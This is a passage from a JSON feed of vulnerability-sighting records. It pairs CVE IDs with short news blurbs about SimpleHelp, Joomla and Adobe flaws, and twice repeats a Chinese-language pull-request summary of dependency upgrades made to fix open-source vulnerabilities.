CVE-2026-48558 Lets Attackers Take Over SimpleHelp Servers\n\nCVE-2026-48558 is a critical SimpleHelp vulnerability (CVSS 10.0) that allows unauthenticated attackers to forge login tokens, bypass MFA, and gain administrator-level access. Successful exploitation can lead to remote control of managed endpoints and script execution, putting thousands of internet-exposed SimpleHelp servers at risk.", "creation_timestamp": "2026-07-22T05:00:04.289976Z"}, {"uuid": "28db8b6c-0ced-44ac-a3f9-5f24f6e402dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/pphm_HackerNews/1504", "content": "\ud83d\udd34 Joomla, LiteSpeed Vulnerabilities Exploited in Attacks\n\nThreat actors are targeting vulnerabilities in Joomla and the LiteSpeed cPanel plugin for code execution and privilege escalation.\n\nAffecting the Joomla Content Editor (JCE) for Joomla and tracked as CVE-2026-48907, the first bug is described as an improper access issue that allows unauthenticated attackers to upload editor profiles.", "creation_timestamp": "2026-07-22T05:00:04.315748Z"}, {"uuid": "bc2e1864-f758-41af-8e26-0806660b41b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/kooteksec.bsky.social/post/3mr7wj7gomc2y", "content": "Outbreak Alert (On-going)-Unrestricted Upload of File Vulnerability.\nThere\u2019s been an active exploitation of CVE-2026-48908, a critical unauthenticated RCE vulnerability affecting the JoomShaper SP Page Builder extension for Joomla.Learn more about this vulnerability at: kootek.co.uk/outbreak-ale...", "creation_timestamp": "2026-07-22T08:42:50.574416Z"}, {"uuid": "8daa1acf-7373-4f26-a2bd-39c875bac5b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48506", "type": "seen", "source": "https://gist.github.com/djlan/99ee4894b545754eff357e18c53ca5f1", "content": "# PR \u89e3\u91ca: fix(deps): remediate S360 OSS vulnerabilities (Scriban, IdentityModel.Saml, OData)\n\n\u901a\u8fc7\u5347\u7ea7\u5e76\u663e\u5f0f\u9489\u4f4f\uff08pin\uff09\u5b58\u5728\u6f0f\u6d1e\u7684\u4f20\u9012\u4f9d\u8d56\u7248\u672c\uff0c\u4fee\u590d Synapse-NotebookService \u4e2d\u5c1a\u65e0\u4fee\u590d PR \u7684 S360 \u5f00\u6e90\u7ec4\u4ef6\u5b89\u5168\u6f0f\u6d1e\u3002\n\n**PR \u94fe\u63a5**: https://dev.azure.com/msdata/A365/_git/Synapse-NotebookService/pullrequest/2200671\n**\u4f5c\u8005**: Long Tian\n**\u72b6\u6001**: active\n**\u5206\u652f**: `voidfunction/s360-oss-vuln-fixes` \u2192 `master`\n**\u53d8\u66f4\u7edf\u8ba1**: 3 files changed\uff08\u4f9d\u8d56\u6e05\u5355\u4e0e\u9879\u76ee\u6587\u4ef6\u8c03\u6574\uff0c\u975e\u4e1a\u52a1\u4ee3\u7801\uff09\n\n## \u76ee\u5f55\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n\n---\n\n## \u53d8\u66f4\u6982\u89c8\n\n### 1. \u96c6\u4e2d\u4f9d\u8d56\u7248\u672c\u6e05\u5355\u5347\u7ea7\uff08S360 \u6f0f\u6d1e\u4fee\u590d\uff09\n\n**\u76ee\u7684**: \u9488\u5bf9 S360 \u4e0a\u62a5\u7684 **[SFI-ES5.2] 1ES Open Source Vulnerabilities**\uff0c\u5c06\u4e09\u7c7b\u5b58\u5728\u9ad8\u5371/\u4e25\u91cd\u6f0f\u6d1e\u7684\u5f00\u6e90\u7ec4\u4ef6\u5347\u7ea7\u5230\u5df2\u4fee\u590d\u7248\u672c\u3002\u8fd9\u4e9b\u6f0f\u6d1e\u6b64\u524d\u6ca1\u6709\u5bf9\u5e94\u7684\u4fee\u590d PR\uff0c\u56e0\u6b64\u9700\u8981\u5728\u672c\u4ed3\u5e93\u7edf\u4e00\u5904\u7406\u3002\u9009\u62e9\u5728\u96c6\u4e2d\u5305\u7ba1\u7406\u6587\u4ef6\u91cc\u8c03\u6574\u7248\u672c\uff0c\u53ef\u8ba9\u6574\u4e2a\u89e3\u51b3\u65b9\u6848\u7684\u6240\u6709\u9879\u76ee\u4e00\u81f4\u5730\u5f15\u7528\u5b89\u5168\u7248\u672c\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [Directory.Packages.props](https://dev.azure.com/msdata/A365/_git/Synapse-NotebookService/pullrequest/2200671?path=/Directory.Packages.props&_a=files) \u2014 \u96c6\u4e2d\u5305\u7248\u672c\u5b9a\u4e49\uff08Central Package Management\uff09\uff0c\u7edf\u4e00\u63d0\u5347\u6f0f\u6d1e\u7ec4\u4ef6\u7248\u672c\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **IdentityModel \u5bb6\u65cf\u6574\u4f53\u5347\u7ea7 8.15.0 \u2192 8.19.2**: `Microsoft.IdentityModel.Tokens`\u3001`Microsoft.IdentityModel.Protocols.OpenIdConnect`\u3001`System.IdentityModel.Tokens.Jwt` \u4e00\u5e76\u5347\u7ea7\uff0c\u5e76\u65b0\u589e `Microsoft.IdentityModel.Tokens.Saml` 8.19.2\u3002\u5176\u4e2d Saml \u7ec4\u4ef6\u5bf9\u5e94\u4e00\u4e2a\u4e25\u91cd\u7ea7\uff08Critical\uff09\u6f0f\u6d1e\uff08MVS-2026-x7fc-ww28\uff09\u3002\u6574\u4f53\u5bb6\u65cf\u540c\u6b65\u5347\u7ea7\u662f\u4e3a\u4e86\u907f\u514d\u540c\u4e00\u5957 IdentityModel \u5e93\u51fa\u73b0\u7248\u672c\u9519\u914d\u5bfc\u81f4\u7684\u8fd0\u884c\u65f6\u51b2\u7a81\u3002\n2. **Microsoft.AspNetCore.OData 9.4.1 \u2192 9.5.0**: \u4fee\u590d\u4e00\u4e2a\u9ad8\u5371\uff08High\uff09\u6f0f\u6d1e\uff08MVS-2026-06-03-odate-private-fix-A\uff09\u3002\n3. **\u65b0\u589e Scriban.Signed 7.2.5**: \u4fee\u590d 1 \u4e2a\u4e25\u91cd\u7ea7 + 7 \u4e2a\u9ad8\u5371\u6f0f\u6d1e\uff08\u5171 9 \u6761 GHSA \u516c\u544a\uff09\u3002Scriban.Signed \u539f\u672c\u7ecf\u7531 `WireMock.Net` \u4f20\u9012\u5f15\u5165\uff0c\u5176\u539f\u59cb\u7248\u672c\u8303\u56f4\u5185\u6ca1\u6709\u65e0\u6f0f\u6d1e\u7684\u7248\u672c\uff0c\u56e0\u6b64\u5728\u6e05\u5355\u4e2d\u663e\u5f0f\u58f0\u660e\u5230\u5df2\u4fee\u590d\u7248\u672c\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n### 2. Infrastructure \u9879\u76ee\u663e\u5f0f\u9489\u4f4f\u4f20\u9012\u4f9d\u8d56\n\n**\u76ee\u7684**: `Scriban.Signed`\uff08\u7ecf\u7531 `WireMock.Net`\uff09\u4e0e `Microsoft.IdentityModel.Tokens.Saml`\uff08\u7ecf\u7531 `Microsoft.Identity.ServiceEssentials`\uff09\u90fd\u662f**\u4f20\u9012\u4f9d\u8d56**\uff0c\u5176\u539f\u59cb\u7248\u672c\u533a\u95f4\u5185\u4e0d\u5b58\u5728\u65e0\u6f0f\u6d1e\u7248\u672c\u3002\u901a\u8fc7\u5728\u5176\u552f\u4e00\u76f4\u63a5\u6d88\u8d39\u65b9\u9879\u76ee\u4e2d\u4ee5\u663e\u5f0f `PackageReference` \u9489\u4f4f\u5df2\u4fee\u590d\u7248\u672c\uff0c\u53ef\u5c06\u5b89\u5168\u7248\u672c\u4f20\u64ad\u5230\u6240\u6709\u4f9d\u8d56\u8be5\u9879\u76ee\u7684\u4e0b\u6e38\u9879\u76ee\u3002\u4f5c\u8005\u523b\u610f\u907f\u514d\u4f7f\u7528\u5168\u5c40 Central Transitive Pinning\uff0c\u56e0\u4e3a\u90a3\u4f1a\u5f3a\u5236\u89e6\u53d1\u4e00\u6b21\u65e0\u5173\u7684 `Microsoft.Extensions.*` \u2192 9.x \u7ea7\u8054\u5347\u7ea7\uff0c\u6269\u5927\u53d8\u66f4\u98ce\u9669\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [src/Services/SynapseNotebookService.Infrastructure/SynapseNotebookService.Infrastructure.csproj](https://dev.azure.com/msdata/A365/_git/Synapse-NotebookService/pullrequest/2200671?path=/src/Services/SynapseNotebookService.Infrastructure/SynapseNotebookService.Infrastructure.csproj&_a=files) \u2014 \u6f0f\u6d1e\u7236\u5305\u7684\u552f\u4e00\u76f4\u63a5\u6d88\u8d39\u65b9\uff0c\u7528\u4e8e\u96c6\u4e2d\u9489\u4f4f\u4f20\u9012\u4f9d\u8d56\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **\u663e\u5f0f\u5f15\u7528 `Microsoft.IdentityModel.Tokens.Saml` \u4e0e `Scriban.Signed`**: \u5728\u9879\u76ee\u4e2d\u65b0\u589e\u4e24\u4e2a `PackageReference`\uff08\u65e0\u7248\u672c\u53f7\uff0c\u7531\u96c6\u4e2d\u6e05\u5355\u7edf\u4e00\u63a7\u5236\uff09\uff0c\u5f3a\u5236\u4f20\u9012\u4f9d\u8d56\u89e3\u6790\u5230\u5df2\u6253\u8865\u4e01\u7684\u7248\u672c\u3002\n2. **\u9644\u5e26\u8bf4\u660e\u6027\u6ce8\u91ca**: \u65b0\u589e\u6ce8\u91ca\u89e3\u91ca\u4e3a\u4f55\u5728\u6b64\u663e\u5f0f\u9489\u4f4f\u8fd9\u4e9b\u5305\uff0c\u4fbf\u4e8e\u540e\u7eed\u7ef4\u62a4\u8005\u7406\u89e3\u6b64\u4e3e\u662f\u6f0f\u6d1e\u4fee\u590d\u800c\u975e\u5e38\u89c4\u4f9d\u8d56\u6dfb\u52a0\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n## \u5f71\u54cd\u5206\u6790\n\n- **\u5f71\u54cd\u8303\u56f4**: \u4ec5\u6d89\u53ca\u4f9d\u8d56\u7248\u672c\u7ba1\u7406\uff08`Directory.Packages.props`\uff09\u4e0e `SynapseNotebookService.Infrastructure` \u9879\u76ee\u6587\u4ef6\uff1b\u65e0\u4e1a\u52a1\u903b\u8f91\u4ee3\u7801\u6539\u52a8\u3002\u7531\u4e8e\u96c6\u4e2d\u5305\u7ba1\u7406\u4e0e\u9489\u4f4f\u673a\u5236\uff0c\u5b89\u5168\u7248\u672c\u4f1a\u4f20\u64ad\u5230\u5168\u89e3\u51b3\u65b9\u6848\u6240\u6709\u4f9d\u8d56\u9879\u76ee\u3002\n- **\u7528\u6237\u611f\u77e5**: \u5bf9\u6700\u7ec8\u7528\u6237\u65e0\u529f\u80fd\u6027\u53ef\u89c1\u53d8\u5316\uff0c\u5c5e\u7eaf\u5b89\u5168\u7ef4\u62a4\u6027\u5347\u7ea7\uff1b\u9884\u671f\u6d88\u9664\u591a\u6761 S360 \u9ad8\u5371/\u4e25\u91cd\u7ea7 OSS \u6f0f\u6d1e\u544a\u8b66\u3002\n- **\u98ce\u9669\u70b9**:\n  1. **\u4f9d\u8d56\u7248\u672c\u8df3\u8dc3\u5e26\u6765\u7684\u517c\u5bb9\u6027\u98ce\u9669**: IdentityModel \u5bb6\u65cf\u8de8\u5c0f\u7248\u672c\u5347\u7ea7\uff088.15.0 \u2192 8.19.2\uff09\u3001OData\uff089.4.1 \u2192 9.5.0\uff09\u4ee5\u53ca Scriban \u5927\u8de8\u5ea6\u5347\u7ea7\uff08\u9690\u542b\u4ece 5.5.0 \u7cfb\u5217\u5230 7.2.5\uff09\uff0c\u82e5\u8fd9\u4e9b\u5e93\u5b58\u5728\u884c\u4e3a\u53d8\u66f4\u6216 API \u7834\u574f\uff0c\u53ef\u80fd\u5f71\u54cd\u9274\u6743\u3001OData \u67e5\u8be2\u4e0e\u6a21\u677f\u6e32\u67d3\u8def\u5f84\u3002\u4f5c\u8005\u5df2\u901a\u8fc7 `dotnet restore` \u5e72\u51c0\u8fd8\u539f\u3001Infrastructure \u9879\u76ee 0 \u9519\u8bef\u6784\u5efa\uff0c\u4ee5\u53ca `InfrastructureTests` 5817 \u5168\u901a\u8fc7\u505a\u4e86\u9a8c\u8bc1\uff0c\u98ce\u9669\u76f8\u5bf9\u53ef\u63a7\u3002\n  2. **\u663e\u5f0f\u9489\u4f4f\u7684\u7ef4\u62a4\u8026\u5408**: \u5c06\u4f20\u9012\u4f9d\u8d56\u663e\u5f0f\u9489\u5728 Infrastructure \u9879\u76ee\uff0c\u5f62\u6210\u9690\u6027\u7ea6\u5b9a\u2014\u2014\u4e00\u65e6\u7236\u5305\uff08`WireMock.Net` / `Microsoft.Identity.ServiceEssentials`\uff09\u540e\u7eed\u5347\u7ea7\u6216\u9489\u4f4f\u7248\u672c\u843d\u540e\uff0c\u53ef\u80fd\u51fa\u73b0\u7248\u672c\u51b2\u7a81\u6216\u201c\u9057\u7559\u9489\u4f4f\u201d\u96be\u4ee5\u6e05\u7406\u3002\u5df2\u6709\u6ce8\u91ca\u7f13\u89e3\u6b64\u98ce\u9669\u3002\n  3. **\u9057\u7559\u672a\u4fee\u590d\u6f0f\u6d1e\uff08MessagePack\uff09**: `MessagePack`\uff08CVE-2026-48109\u3001CVE-2026-48506\uff0c2 \u6761\u9ad8\u5371\uff09**\u672a\u5728\u672c PR \u4fee\u590d**\uff0c\u56e0\u4e3a\u5df2\u4fee\u590d\u7248\u672c\uff08\u2265 2.5.301\uff09\u6240\u9700\u7684 `MessagePack.Annotations` \u2265 2.5.301 \u5728\u5185\u90e8\u6e90 `synapse-notebookservice-Consumption` \u4e0a\u4e0d\u53ef\u7528\uff08\u4ec5 2.5.198\uff09\u3002\u9700\u5148\u4e0a\u6e38\u540c\u6b65\u8be5\u5305\uff0c\u53e6\u884c\u8ddf\u8e2a\uff0c\u672c PR \u5408\u5165\u540e\u4ecd\u4f1a\u6b8b\u7559\u76f8\u5173\u544a\u8b66\u3002\n  4. **\u6d4b\u8bd5\u73af\u5883\u76f8\u5173\u7684\u65e2\u6709\u5931\u8d25**: CRUD \u670d\u52a1\u6d4b\u8bd5\u4e2d\u4ecd\u6709\u5931\u8d25\u9879\uff0c\u6e90\u4e8e\u672c\u5730\u73af\u5883\u7f3a\u5c11 `SqlServer` PowerShell \u6a21\u5757\uff0c\u5c5e\u9884\u5148\u5b58\u5728\u95ee\u9898\u3001\u4e0e\u672c\u6b21\u53d8\u66f4\u65e0\u5173\uff0c\u4f46\u9700\u6ce8\u610f\u52ff\u5c06\u5176\u8bef\u5224\u4e3a\u56de\u5f52\u3002\n", "creation_timestamp": "2026-07-22T14:54:29.071456Z"}, {"uuid": "e391a768-279a-4a7e-9383-0e6b95ec2b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48109", "type": "seen", "source": "https://gist.github.com/djlan/99ee4894b545754eff357e18c53ca5f1", "content": "# PR \u89e3\u91ca: fix(deps): remediate S360 OSS vulnerabilities (Scriban, IdentityModel.Saml, OData)\n\n\u901a\u8fc7\u5347\u7ea7\u5e76\u663e\u5f0f\u9489\u4f4f\uff08pin\uff09\u5b58\u5728\u6f0f\u6d1e\u7684\u4f20\u9012\u4f9d\u8d56\u7248\u672c\uff0c\u4fee\u590d Synapse-NotebookService \u4e2d\u5c1a\u65e0\u4fee\u590d PR \u7684 S360 \u5f00\u6e90\u7ec4\u4ef6\u5b89\u5168\u6f0f\u6d1e\u3002\n\n**PR \u94fe\u63a5**: https://dev.azure.com/msdata/A365/_git/Synapse-NotebookService/pullrequest/2200671\n**\u4f5c\u8005**: Long Tian\n**\u72b6\u6001**: active\n**\u5206\u652f**: `voidfunction/s360-oss-vuln-fixes` \u2192 `master`\n**\u53d8\u66f4\u7edf\u8ba1**: 3 files changed\uff08\u4f9d\u8d56\u6e05\u5355\u4e0e\u9879\u76ee\u6587\u4ef6\u8c03\u6574\uff0c\u975e\u4e1a\u52a1\u4ee3\u7801\uff09\n\n## \u76ee\u5f55\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n\n---\n\n## \u53d8\u66f4\u6982\u89c8\n\n### 1. \u96c6\u4e2d\u4f9d\u8d56\u7248\u672c\u6e05\u5355\u5347\u7ea7\uff08S360 \u6f0f\u6d1e\u4fee\u590d\uff09\n\n**\u76ee\u7684**: \u9488\u5bf9 S360 \u4e0a\u62a5\u7684 **[SFI-ES5.2] 1ES Open Source Vulnerabilities**\uff0c\u5c06\u4e09\u7c7b\u5b58\u5728\u9ad8\u5371/\u4e25\u91cd\u6f0f\u6d1e\u7684\u5f00\u6e90\u7ec4\u4ef6\u5347\u7ea7\u5230\u5df2\u4fee\u590d\u7248\u672c\u3002\u8fd9\u4e9b\u6f0f\u6d1e\u6b64\u524d\u6ca1\u6709\u5bf9\u5e94\u7684\u4fee\u590d PR\uff0c\u56e0\u6b64\u9700\u8981\u5728\u672c\u4ed3\u5e93\u7edf\u4e00\u5904\u7406\u3002\u9009\u62e9\u5728\u96c6\u4e2d\u5305\u7ba1\u7406\u6587\u4ef6\u91cc\u8c03\u6574\u7248\u672c\uff0c\u53ef\u8ba9\u6574\u4e2a\u89e3\u51b3\u65b9\u6848\u7684\u6240\u6709\u9879\u76ee\u4e00\u81f4\u5730\u5f15\u7528\u5b89\u5168\u7248\u672c\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [Directory.Packages.props](https://dev.azure.com/msdata/A365/_git/Synapse-NotebookService/pullrequest/2200671?path=/Directory.Packages.props&_a=files) \u2014 \u96c6\u4e2d\u5305\u7248\u672c\u5b9a\u4e49\uff08Central Package Management\uff09\uff0c\u7edf\u4e00\u63d0\u5347\u6f0f\u6d1e\u7ec4\u4ef6\u7248\u672c\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **IdentityModel \u5bb6\u65cf\u6574\u4f53\u5347\u7ea7 8.15.0 \u2192 8.19.2**: `Microsoft.IdentityModel.Tokens`\u3001`Microsoft.IdentityModel.Protocols.OpenIdConnect`\u3001`System.IdentityModel.Tokens.Jwt` \u4e00\u5e76\u5347\u7ea7\uff0c\u5e76\u65b0\u589e `Microsoft.IdentityModel.Tokens.Saml` 8.19.2\u3002\u5176\u4e2d Saml \u7ec4\u4ef6\u5bf9\u5e94\u4e00\u4e2a\u4e25\u91cd\u7ea7\uff08Critical\uff09\u6f0f\u6d1e\uff08MVS-2026-x7fc-ww28\uff09\u3002\u6574\u4f53\u5bb6\u65cf\u540c\u6b65\u5347\u7ea7\u662f\u4e3a\u4e86\u907f\u514d\u540c\u4e00\u5957 IdentityModel \u5e93\u51fa\u73b0\u7248\u672c\u9519\u914d\u5bfc\u81f4\u7684\u8fd0\u884c\u65f6\u51b2\u7a81\u3002\n2. **Microsoft.AspNetCore.OData 9.4.1 \u2192 9.5.0**: \u4fee\u590d\u4e00\u4e2a\u9ad8\u5371\uff08High\uff09\u6f0f\u6d1e\uff08MVS-2026-06-03-odate-private-fix-A\uff09\u3002\n3. **\u65b0\u589e Scriban.Signed 7.2.5**: \u4fee\u590d 1 \u4e2a\u4e25\u91cd\u7ea7 + 7 \u4e2a\u9ad8\u5371\u6f0f\u6d1e\uff08\u5171 9 \u6761 GHSA \u516c\u544a\uff09\u3002Scriban.Signed \u539f\u672c\u7ecf\u7531 `WireMock.Net` \u4f20\u9012\u5f15\u5165\uff0c\u5176\u539f\u59cb\u7248\u672c\u8303\u56f4\u5185\u6ca1\u6709\u65e0\u6f0f\u6d1e\u7684\u7248\u672c\uff0c\u56e0\u6b64\u5728\u6e05\u5355\u4e2d\u663e\u5f0f\u58f0\u660e\u5230\u5df2\u4fee\u590d\u7248\u672c\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n### 2. Infrastructure \u9879\u76ee\u663e\u5f0f\u9489\u4f4f\u4f20\u9012\u4f9d\u8d56\n\n**\u76ee\u7684**: `Scriban.Signed`\uff08\u7ecf\u7531 `WireMock.Net`\uff09\u4e0e `Microsoft.IdentityModel.Tokens.Saml`\uff08\u7ecf\u7531 `Microsoft.Identity.ServiceEssentials`\uff09\u90fd\u662f**\u4f20\u9012\u4f9d\u8d56**\uff0c\u5176\u539f\u59cb\u7248\u672c\u533a\u95f4\u5185\u4e0d\u5b58\u5728\u65e0\u6f0f\u6d1e\u7248\u672c\u3002\u901a\u8fc7\u5728\u5176\u552f\u4e00\u76f4\u63a5\u6d88\u8d39\u65b9\u9879\u76ee\u4e2d\u4ee5\u663e\u5f0f `PackageReference` \u9489\u4f4f\u5df2\u4fee\u590d\u7248\u672c\uff0c\u53ef\u5c06\u5b89\u5168\u7248\u672c\u4f20\u64ad\u5230\u6240\u6709\u4f9d\u8d56\u8be5\u9879\u76ee\u7684\u4e0b\u6e38\u9879\u76ee\u3002\u4f5c\u8005\u523b\u610f\u907f\u514d\u4f7f\u7528\u5168\u5c40 Central Transitive Pinning\uff0c\u56e0\u4e3a\u90a3\u4f1a\u5f3a\u5236\u89e6\u53d1\u4e00\u6b21\u65e0\u5173\u7684 `Microsoft.Extensions.*` \u2192 9.x \u7ea7\u8054\u5347\u7ea7\uff0c\u6269\u5927\u53d8\u66f4\u98ce\u9669\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [src/Services/SynapseNotebookService.Infrastructure/SynapseNotebookService.Infrastructure.csproj](https://dev.azure.com/msdata/A365/_git/Synapse-NotebookService/pullrequest/2200671?path=/src/Services/SynapseNotebookService.Infrastructure/SynapseNotebookService.Infrastructure.csproj&_a=files) \u2014 \u6f0f\u6d1e\u7236\u5305\u7684\u552f\u4e00\u76f4\u63a5\u6d88\u8d39\u65b9\uff0c\u7528\u4e8e\u96c6\u4e2d\u9489\u4f4f\u4f20\u9012\u4f9d\u8d56\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **\u663e\u5f0f\u5f15\u7528 `Microsoft.IdentityModel.Tokens.Saml` \u4e0e `Scriban.Signed`**: \u5728\u9879\u76ee\u4e2d\u65b0\u589e\u4e24\u4e2a `PackageReference`\uff08\u65e0\u7248\u672c\u53f7\uff0c\u7531\u96c6\u4e2d\u6e05\u5355\u7edf\u4e00\u63a7\u5236\uff09\uff0c\u5f3a\u5236\u4f20\u9012\u4f9d\u8d56\u89e3\u6790\u5230\u5df2\u6253\u8865\u4e01\u7684\u7248\u672c\u3002\n2. **\u9644\u5e26\u8bf4\u660e\u6027\u6ce8\u91ca**: \u65b0\u589e\u6ce8\u91ca\u89e3\u91ca\u4e3a\u4f55\u5728\u6b64\u663e\u5f0f\u9489\u4f4f\u8fd9\u4e9b\u5305\uff0c\u4fbf\u4e8e\u540e\u7eed\u7ef4\u62a4\u8005\u7406\u89e3\u6b64\u4e3e\u662f\u6f0f\u6d1e\u4fee\u590d\u800c\u975e\u5e38\u89c4\u4f9d\u8d56\u6dfb\u52a0\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n## \u5f71\u54cd\u5206\u6790\n\n- **\u5f71\u54cd\u8303\u56f4**: \u4ec5\u6d89\u53ca\u4f9d\u8d56\u7248\u672c\u7ba1\u7406\uff08`Directory.Packages.props`\uff09\u4e0e `SynapseNotebookService.Infrastructure` \u9879\u76ee\u6587\u4ef6\uff1b\u65e0\u4e1a\u52a1\u903b\u8f91\u4ee3\u7801\u6539\u52a8\u3002\u7531\u4e8e\u96c6\u4e2d\u5305\u7ba1\u7406\u4e0e\u9489\u4f4f\u673a\u5236\uff0c\u5b89\u5168\u7248\u672c\u4f1a\u4f20\u64ad\u5230\u5168\u89e3\u51b3\u65b9\u6848\u6240\u6709\u4f9d\u8d56\u9879\u76ee\u3002\n- **\u7528\u6237\u611f\u77e5**: \u5bf9\u6700\u7ec8\u7528\u6237\u65e0\u529f\u80fd\u6027\u53ef\u89c1\u53d8\u5316\uff0c\u5c5e\u7eaf\u5b89\u5168\u7ef4\u62a4\u6027\u5347\u7ea7\uff1b\u9884\u671f\u6d88\u9664\u591a\u6761 S360 \u9ad8\u5371/\u4e25\u91cd\u7ea7 OSS \u6f0f\u6d1e\u544a\u8b66\u3002\n- **\u98ce\u9669\u70b9**:\n  1. **\u4f9d\u8d56\u7248\u672c\u8df3\u8dc3\u5e26\u6765\u7684\u517c\u5bb9\u6027\u98ce\u9669**: IdentityModel \u5bb6\u65cf\u8de8\u5c0f\u7248\u672c\u5347\u7ea7\uff088.15.0 \u2192 8.19.2\uff09\u3001OData\uff089.4.1 \u2192 9.5.0\uff09\u4ee5\u53ca Scriban \u5927\u8de8\u5ea6\u5347\u7ea7\uff08\u9690\u542b\u4ece 5.5.0 \u7cfb\u5217\u5230 7.2.5\uff09\uff0c\u82e5\u8fd9\u4e9b\u5e93\u5b58\u5728\u884c\u4e3a\u53d8\u66f4\u6216 API \u7834\u574f\uff0c\u53ef\u80fd\u5f71\u54cd\u9274\u6743\u3001OData \u67e5\u8be2\u4e0e\u6a21\u677f\u6e32\u67d3\u8def\u5f84\u3002\u4f5c\u8005\u5df2\u901a\u8fc7 `dotnet restore` \u5e72\u51c0\u8fd8\u539f\u3001Infrastructure \u9879\u76ee 0 \u9519\u8bef\u6784\u5efa\uff0c\u4ee5\u53ca `InfrastructureTests` 5817 \u5168\u901a\u8fc7\u505a\u4e86\u9a8c\u8bc1\uff0c\u98ce\u9669\u76f8\u5bf9\u53ef\u63a7\u3002\n  2. **\u663e\u5f0f\u9489\u4f4f\u7684\u7ef4\u62a4\u8026\u5408**: \u5c06\u4f20\u9012\u4f9d\u8d56\u663e\u5f0f\u9489\u5728 Infrastructure \u9879\u76ee\uff0c\u5f62\u6210\u9690\u6027\u7ea6\u5b9a\u2014\u2014\u4e00\u65e6\u7236\u5305\uff08`WireMock.Net` / `Microsoft.Identity.ServiceEssentials`\uff09\u540e\u7eed\u5347\u7ea7\u6216\u9489\u4f4f\u7248\u672c\u843d\u540e\uff0c\u53ef\u80fd\u51fa\u73b0\u7248\u672c\u51b2\u7a81\u6216\u201c\u9057\u7559\u9489\u4f4f\u201d\u96be\u4ee5\u6e05\u7406\u3002\u5df2\u6709\u6ce8\u91ca\u7f13\u89e3\u6b64\u98ce\u9669\u3002\n  3. **\u9057\u7559\u672a\u4fee\u590d\u6f0f\u6d1e\uff08MessagePack\uff09**: `MessagePack`\uff08CVE-2026-48109\u3001CVE-2026-48506\uff0c2 \u6761\u9ad8\u5371\uff09**\u672a\u5728\u672c PR \u4fee\u590d**\uff0c\u56e0\u4e3a\u5df2\u4fee\u590d\u7248\u672c\uff08\u2265 2.5.301\uff09\u6240\u9700\u7684 `MessagePack.Annotations` \u2265 2.5.301 \u5728\u5185\u90e8\u6e90 `synapse-notebookservice-Consumption` \u4e0a\u4e0d\u53ef\u7528\uff08\u4ec5 2.5.198\uff09\u3002\u9700\u5148\u4e0a\u6e38\u540c\u6b65\u8be5\u5305\uff0c\u53e6\u884c\u8ddf\u8e2a\uff0c\u672c PR \u5408\u5165\u540e\u4ecd\u4f1a\u6b8b\u7559\u76f8\u5173\u544a\u8b66\u3002\n  4. **\u6d4b\u8bd5\u73af\u5883\u76f8\u5173\u7684\u65e2\u6709\u5931\u8d25**: CRUD \u670d\u52a1\u6d4b\u8bd5\u4e2d\u4ecd\u6709\u5931\u8d25\u9879\uff0c\u6e90\u4e8e\u672c\u5730\u73af\u5883\u7f3a\u5c11 `SqlServer` PowerShell \u6a21\u5757\uff0c\u5c5e\u9884\u5148\u5b58\u5728\u95ee\u9898\u3001\u4e0e\u672c\u6b21\u53d8\u66f4\u65e0\u5173\uff0c\u4f46\u9700\u6ce8\u610f\u52ff\u5c06\u5176\u8bef\u5224\u4e3a\u56de\u5f52\u3002\n", "creation_timestamp": "2026-07-22T14:54:29.112141Z"}, {"uuid": "7bfc1b08-4e01-4472-a6ca-79ab085f4e23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48020", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mraldxwopq2n", "content": "\ud83d\udd17 CVE : CVE-2026-35387, CVE-2026-44878, CVE-2026-44879, CVE-2026-44880, CVE-2026-48020, CVE-2026-63453, CVE-2026-63454", "creation_timestamp": "2026-07-22T14:55:18.243424Z"}, {"uuid": "f4922230-8818-4a91-9593-60e2a781e68d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mraln3lnbe2p", "content": "Adobe Acrobat's Chrome extension flaw let attackers silently steal WhatsApp chats, contacts, and account data via a malicious webpage. Guardio reported the HermeticReader attack, and Adobe patched CVE-2026-48294. #AdobeAcrobat #WhatsAppWeb", "creation_timestamp": "2026-07-22T15:00:24.509894Z"}, {"uuid": "0ce5a802-7683-42b8-b05c-aba2e0ce8525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 